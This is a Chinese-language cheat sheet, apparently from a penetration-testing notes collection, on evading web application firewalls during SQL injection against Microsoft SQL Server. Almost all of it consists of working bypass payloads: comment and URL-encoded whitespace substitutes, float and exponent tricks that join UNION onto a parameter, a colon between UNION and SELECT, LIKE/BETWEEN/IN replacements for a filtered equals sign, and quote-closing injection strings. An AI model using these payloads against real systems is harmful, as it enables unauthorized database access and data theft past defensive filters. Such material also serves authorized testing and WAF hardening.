[!TIP]
绕过主要还是利用一些特性来,如数据库的特性、中间件的特性等,所以还是要熟悉函数等
通用方法
通用的方法,就是万金油,无非就是大小写、双写、编码、注释、HPP、垃圾字符、分块传输、WAF特性
官方函数文档:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/functions?view=sql-server-ver15
绕过空格
空格被过滤的情况,常规可以用如下的一些手法:
| 说明 | Payload | | —- | —- |
|
使用注释符
| select/**/@@version;
|
|
URL编码空格
| +
|
|
其他URL编码(换行、Tab等)
| %0a
、%09
|
|
MSSQL空白符[0x00-0x20]
| 如%1e
|
除了上面的常规手法,还有一些非常规的手法
and/or后
如果是and/or
后面的空格需要绕过的话,可以用如下的一些算数符来绕过
!
+
--
.
\
~
参数和UNION之间
1、浮点数
select * from test where id=1.1union select 1,'2',db_name() from test;
2、1e0形式
select * from test where id=1e0union select 1,'2',db_name() from test;
3、运算符
select * from test where id=1-1union select 1,'2',db_name() from test;
select * from test where id=1e-union select 1,'2',db_name() from test;
UNION和SELECT之间
1、冒号
select * from test where id=1 union:select 1,'2',db_name() from test;
SELECT和后续参数
1、字符集
select * from test where id=1 union select.1,'2',db_name() from test;
select * from test where id=1 union select~1,'2',db_name() from test;
/*
+
-
.
:
~
*/
绕过等号=
过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过
https://docs.microsoft.com/zh-cn/sql/t-sql/language-elements/like-transact-sql?view=sql-server-ver15
| Payload | 说明 | | —- | —- |
|
<>
、>
、<
| 不等符、大于、小于
|
|
select 1 between 1 and 2;
select 1 not between 1 and 2;
| between语句,在两值之间
|
|
select 1 in (1);
select 1 not in (1);
| in语句,在集合中
|
|
select '123' like '1%';
| like模糊匹配
|
绕过注释符
对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行
解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似
# 原始
?id=1
# 完整闭合
?id=1' and expr and '1'='1